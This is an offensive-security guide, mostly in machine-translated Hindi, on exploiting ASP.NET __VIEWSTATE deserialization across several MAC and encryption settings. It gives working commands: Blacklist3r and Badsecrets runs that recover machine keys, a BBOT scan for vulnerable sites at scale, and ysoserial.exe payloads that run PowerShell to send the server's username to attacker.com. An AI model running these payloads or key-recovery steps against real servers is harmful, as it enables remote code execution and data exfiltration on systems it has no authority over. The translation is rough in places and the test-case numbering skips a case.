Exploiting __VIEWSTATE without knowing the secrets

Reading time: 11 minutes

What is ViewState

ViewState ASP.NET में वेब पृष्ठों के बीच पृष्ठ और नियंत्रण डेटा बनाए रखने के लिए डिफ़ॉल्ट तंत्र के रूप में कार्य करता है। एक पृष्ठ के HTML के रेंडरिंग के दौरान, पृष्ठ की वर्तमान स्थिति और पोस्टबैक के दौरान संरक्षित किए जाने वाले मानों को base64-encoded स्ट्रिंग्स में सीरियलाइज़ किया जाता है। ये स्ट्रिंग्स फिर छिपे हुए ViewState फ़ील्ड में रखी जाती हैं।

ViewState जानकारी को निम्नलिखित गुणों या उनके संयोजनों द्वारा वर्णित किया जा सकता है:

• Base64:
• यह प्रारूप तब उपयोग किया जाता है जब EnableViewStateMac और ViewStateEncryptionMode गुण दोनों को false पर सेट किया गया हो।
• Base64 + MAC (Message Authentication Code) Enabled:
• MAC को सक्रिय करने के लिए EnableViewStateMac गुण को true पर सेट किया जाता है। यह ViewState डेटा के लिए अखंडता सत्यापन प्रदान करता है।
• Base64 + Encrypted:
• एन्क्रिप्शन तब लागू किया जाता है जब ViewStateEncryptionMode गुण को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।

Test Cases

चित्र एक तालिका है जो .NET फ्रेमवर्क संस्करण के आधार पर ASP.NET में ViewState के लिए विभिन्न कॉन्फ़िगरेशन का विवरण देती है। यहाँ सामग्री का सारांश है:

1. किसी भी संस्करण के लिए .NET, जब MAC और एन्क्रिप्शन दोनों अक्षम होते हैं, तो MachineKey की आवश्यकता नहीं होती है, और इसलिए इसे पहचानने के लिए कोई लागू विधि नहीं है।
2. 4.5 से नीचे के संस्करणों के लिए, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो MachineKey की आवश्यकता होती है। MachineKey की पहचान करने की विधि को "Blacklist3r" कहा जाता है।
3. 4.5 से नीचे के संस्करणों के लिए, चाहे MAC सक्षम हो या अक्षम, यदि एन्क्रिप्शन सक्षम है, तो MachineKey की आवश्यकता होती है। MachineKey की पहचान करना "Blacklist3r - Future Development" का कार्य है।
4. 4.5 और उससे ऊपर के संस्करणों के लिए, MAC और एन्क्रिप्शन के सभी संयोजनों (चाहे दोनों सत्य हों, या एक सत्य हो और दूसरा असत्य) के लिए MachineKey की आवश्यकता होती है। MachineKey की पहचान "Blacklist3r" का उपयोग करके की जा सकती है।

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

यह संभव है कि ViewStateMAC को पूरी तरह से अक्षम किया जाए, AspNetEnforceViewStateMac रजिस्ट्री कुंजी को शून्य पर सेट करके:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState विशेषताओं की पहचान करना

आप BurpSuite के साथ इस पैरामीटर को शामिल करने वाले अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि क्या ViewState MAC से सुरक्षित है। यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया गया है, तो आप YSoSerial.Net का उपयोग करके इसका लाभ उठा सकते हैं।

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server

Developers can ViewState को HTTP Request का हिस्सा बनने से हटाएं (उपयोगकर्ता को यह कुकी नहीं मिलेगी)।
एक व्यक्ति यह मान सकता है कि यदि ViewState उपस्थित नहीं है, तो उनका कार्यान्वयन सुरक्षित है किसी भी संभावित कमजोरियों से जो ViewState deserialization के साथ उत्पन्न हो सकती हैं।
हालांकि, ऐसा नहीं है। यदि हम ViewState parameter को अनुरोध शरीर में जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी serialized payload भेजते हैं, तो हम अभी भी कोड निष्पादन प्राप्त करने में सक्षम होंगे जैसा कि Case 1 में दिखाया गया है।

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

विशिष्ट पृष्ठ के लिए ViewState MAC को सक्षम करने के लिए हमें एक विशिष्ट aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

हम इसे overall एप्लिकेशन के लिए भी कर सकते हैं, इसे web.config फ़ाइल में नीचे दिखाए अनुसार सेट करके:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

चूंकि यह पैरामीटर MAC द्वारा सुरक्षित है, इस बार हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए।

आप उपयोग की गई कुंजी खोजने के लिए Blacklist3r(AspDotNetWrapper.exe) का प्रयास कर सकते हैं।

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets एक और उपकरण है जो ज्ञात machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r के विपरीत, इसमें कोई Windows निर्भरता नहीं है। .NET viewstates के लिए, एक "python blacklist3r" उपयोगिता है, जो इसका उपयोग करने का सबसे तेज़ तरीका है।

इसे सीधे viewstate और generator के साथ प्रदान किया जा सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

या, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से viewstate को निकालने की कोशिश कर सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

कमजोर viewstates को बड़े पैमाने पर खोजने के लिए, उपडोमेन एन्यूमरेशन के साथ, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp

यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: के साथ हमले को आगे बढ़ा सकते हैं:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

जब _VIEWSTATEGENERATOR पैरामीटर सर्वर द्वारा नहीं भेजा जाता है, तो आपको --generator पैरामीटर प्रदान करने की आवश्यकता नहीं है, बल्कि ये पैरामीटर प्रदान करने की आवश्यकता है:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true

इसमें यह ज्ञात नहीं है कि क्या पैरामीटर MAC के साथ सुरक्षित है। तब, मान शायद एन्क्रिप्टेड है और आपको अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की आवश्यकता होगी ताकि आप इस कमजोरियों का लाभ उठा सकें।

इस मामले में Blacklist3r मॉड्यूल विकासाधीन है...

.NET 4.5 से पहले, ASP.NET एक अनएन्क्रिप्टेड ___VIEWSTATE_ पैरामीटर को उपयोगकर्ताओं से स्वीकार कर सकता है यहां तक कि यदि ViewStateEncryptionMode को हमेशा पर सेट किया गया है। ASP.NET केवल जांचता है कि __VIEWSTATEENCRYPTED पैरामीटर अनुरोध में मौजूद है। यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।

इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का तरीका खोज लेते हैं, तो YSoSerial.Net कमांड का उपयोग केस 2 में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है।

• ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से __VIEWSTATEENCRYPTED पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC सत्यापन त्रुटि लौटाएगा और हमला विफल हो जाएगा।

Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय इसके कि दोनों गुण false हों

हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET फ्रेमवर्क के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।

<httpRuntime targetFramework="4.5" />

वैकल्पिक रूप से, यह web.config फ़ाइल के machineKey पैरामीटर के अंदर नीचे दिए गए विकल्प को निर्दिष्ट करके किया जा सकता है।

compatibilityMode="Framework45"

जैसे कि पिछले में मान एन्क्रिप्टेड है। फिर, एक मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता है।

आप कुंजी खोजने के लिए Blacklist3r(AspDotNetWrapper.exe) का उपयोग करने की कोशिश कर सकते हैं:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath और TargetPagePath के लिए अधिक विस्तृत विवरण के लिए यहाँ देखें

या, Badsecrets (एक जनरेटर मान के साथ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

एक मान्य मशीन कुंजी पहचानने के बाद, अगला कदम एक अनुक्रमित पेलोड उत्पन्न करना है YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

यदि आपके पास __VIEWSTATEGENERATOR का मान है, तो आप उस मान के साथ --generator पैरामीटर का उपयोग करने की कोशिश कर सकते हैं और --path और --apppath पैरामीटर को छोड़ सकते हैं।

ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए, आप प्रदान किए गए PoC of Successful Exploitation की समीक्षा कर सकते हैं।

Test Case 6 – ViewStateUserKeys का उपयोग किया जा रहा है

ViewStateUserKey प्रॉपर्टी का उपयोग CSRF हमले के खिलाफ रक्षा करने के लिए किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से ViewState पेलोड उत्पन्न करने की कोशिश करते हैं, तो पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा।
आपको पेलोड को सही तरीके से बनाने के लिए एक और पैरामीटर का उपयोग करने की आवश्यकता है:

--viewstateuserkey="randomstringdefinedintheserver"

Result of a Successful Exploitation

सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload सफलता से काम करता है, तो सर्वर “500 Internal server error” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “इस पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है” होती है और हमें OOB अनुरोध मिलता है।

Check for further information here

References

• https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
• https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
• https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
• https://blog.blacklanternsecurity.com/p/introducing-badsecrets